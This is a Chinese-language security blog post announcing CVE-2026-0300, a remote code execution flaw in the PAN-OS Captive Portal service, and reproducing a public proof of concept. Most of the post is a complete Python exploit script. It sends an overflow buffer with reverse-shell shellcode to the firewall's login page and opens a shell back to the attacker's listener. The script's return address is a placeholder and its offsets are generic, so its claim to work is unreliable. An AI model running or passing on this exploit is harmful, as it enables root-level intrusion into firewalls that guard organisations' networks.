
0x00 前言
Palo Alto Networks(帕洛阿尔托网络公司)是一家总部位于美国加利福尼亚州的全球领先网络安全企业,成立于2005年,以其创新性的下一代防火墙(NGFW)技术而闻名。该公司的核心产品PAN-OS操作系统为企业提供了全面的网络安全防护,包括应用层识别、威胁检测与防御、用户身份认证等功能。除了防火墙解决方案外,Palo Alto Networks还提供云安全、网络安全自动化、威胁情报等多元化产品组合,帮助企业应对日益复杂的网络安全威胁。作为网络安全领域的领导者,该公司服务于全球众多大型企业和政府机构,致力于通过创新技术构建更安全的数字化环境。
Palo Alto Networks PAN-OS是Palo Alto Networks公司专为其PA系列物理防火墙和VM系列虚拟防火墙开发的专有操作系统,它整合了下一代防火墙(NGFW)的核心功能,包括应用层识别与控制、威胁防护、URL 过滤、用户身份认证(User-ID)以及高级安全服务,为企业网络提供全面的安全防护能力。
0x01 漏洞描述
漏洞位于User-ID™ Authentication Portal(即 Captive Portal)服务中,允许未经身份验证的攻击者通过发送特制数据包,在PA-Series和 VM-Series防火墙上以root权限远程执行任意代码。
0x02 CVE编号
CVE-2026-0300
0x03 影响版本

以下产品不受此漏洞影响:
Prisma Access(SASE云交付平台)
Cloud NGFW(云原生下一代防火墙)
Panorama(集中式安全管理平台)
0x04 漏洞详情
POC:
https://github.com/p3Nt3st3r-sTAr/CVE-2026-0300-POC
#!/usr/bin/env python3
import socket
import struct
import argparse
import sys
import time
# --- ANSI UI TOOLKIT ---
R = "\033[31m" # Red
G = "\033[32m" # Green
Y = "\033[33m" # Yellow
B = "\033[34m" # Blue
C = "\033[36m" # Cyan
M = "\033[35m" # Magenta
W = "\033[0m" # Reset
BOLD = "\033[1m"
def print_banner():
banner = f'''
[ONLINE]
bY https://t.me/gula_007
bY https://t.me/gula_007
{R}
▄████▄ ██▒ █▓▓█████ ██▓███ ▓█████ ███▄ █ ▄▄▄█████▓▓█████ ██████ ▄▄▄█████▓▓█████ ██▀███
▒██▀ ▀█ ▓██░ █▒▓█ ▀ ▓██░ ██▒▓█ ▀ ██ ▀█ █ ▓ ██▒ ▓▒▓█ ▀ ▒██ ▒ ▓ ██▒ ▓▒▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▓██ █▒░▒███ ▓██░ ██▓▒▒███ ▓██ ▀█ ██▒▒ ▓██░ ▒░▒███ ░ ▓██▄ ▒ ▓██░ ▒░▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒ ▒██ █░░▒▓█ ▄ ▒██▄█▓▒ ▒▒▓█ ▄ ▓██▒ ▐▌██▒░ ▓██▓ ░ ▒▓█ ▄ ▒ ██▒░ ▓██▓ ░ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒▀█░ ░▒████▒ ▒██▒ ░ ░░▒████▒▒██░ ▓██░ ▒██▒ ░ ░▒████▒▒██████▒▒ ▒██▒ ░ ░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ ▒▓▒░ ░ ░░░ ▒░ ░░ ▒░ ▒ ▒ ▒ ░░ ░░ ▒░ ░▒ ▒▓▒ ▒ ░ ▒ ░░ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░░ ░ ░ ░ ░▒ ░ ░ ░ ░░ ░░ ░ ▒░ ░ ░ ░ ░░ ░▒ ░ ░ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░░░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ {W}
'''
print(banner)
def loading_animation(duration=2):
chars = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"]
end_time = time.time() + duration
while time.time() < end_time:
for char in chars:
sys.stdout.write(f'\r{B}[{char}]{W} Processing...')
sys.stdout.flush()
time.sleep(0.1)
sys.stdout.write('\r' + ' ' * 30 + '\r')
def print_status(icon, color, message):
print(f"{color}[{icon}]{W} {message}")
def main():
print_banner()
parser = argparse.ArgumentParser(description="Professional PoC for CVE-2026-0300 Research")
parser.add_argument("-t", "--target", required=True, help="Target IP Address")
parser.add_argument("-p", "--port", type=int, default=6082, help="Port (Default: 6082)")
parser.add_argument("-l", "--lhost", required=True, help="Your IP for Reverse Shell")
parser.add_argument("-L", "--lport", type=int, default=4444, help="Your Listener Port (Default: 4444)")
parser.add_argument("-o", "--offset", type=int, default=2048, help="Buffer Offset")
parser.add_argument("-r", "--ret", default="0xdeadbeef", help="Return Address (Hex)")
args = parser.parse_args()
print(f"{BOLD}{R}![SECURITY WARNING]: AUTHORIZED RESEARCH / TESTING ONLY{W}\n")
# === REVERSE SHELL SHELLCODE (Linux x64) ===
print_status("*", B, "Generating reverse shell shellcode...")
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=... LPORT=... -f python
shellcode = (
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
b"\x50\x48\x31\xc0\x48\x31\xd2\x48\xb8\x02\x00" + struct.pack(">H", args.lport) +
b"\x00\x00\x00\x00\x00\x00" + socket.inet_aton(args.lhost) +
b"\x50\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03"
b"\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"
b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89"
b"\xe7\x52\x57\x48\x89\xe6\x0f\x05"
)
# Payload Construction
print_status("*", B, "Constructing memory corruption buffer...")
padding = b"A" * args.offset
try:
return_address = struct.pack("<Q", int(args.ret, 16))
except Exception:
print_status("!", R, "Critical: Invalid Return Address format!")
sys.exit(1)
# Final payload: padding + ret + nops + shellcode
payload = padding + return_address + (b"\x90" * 128) + shellcode
request = (b"POST /php/login.php HTTP/1.1\r\n"
b"Host: " + args.target.encode() + b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(payload)).encode() + b"\r\n\r\n" + payload)
print(f"{M}───[ SESSION START ]───{W}")
print_status("i", C, f"Target : {G}{args.target}:{args.port}{W}")
print_status("i", C, f"Reverse Shell → {G}{args.lhost}:{args.lport}{W}")
try:
loading_animation(1.5)
with socket.create_connection((args.target, args.port), timeout=15) as s:
print_status("+", G, "Connection established.")
print_status(">", Y, "Injecting reverse shell payload...")
s.sendall(request)
print_status("*", B, "Payload delivered. Waiting for callback...")
time.sleep(3)
print(f"\n{BOLD}{G}[+] Check your listener on {args.lhost}:{args.lport}{W}")
except ConnectionRefusedError:
print(f"\n{R}{BOLD}[X] ERROR: CONNECTION REFUSED{W}")
except socket.timeout:
print(f"\n{G}[+] Target likely crashed or spawned shell (timeout).{W}")
except Exception as e:
print(f"\n{R}[!] ERROR: {e}{W}")
print(f"\n{M}───[ SESSION END ]───{W}")
if __name__ == "__main__":
main()
0x05 参考链接
https://security.paloaltonetworks.com/CVE-2026-0300
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!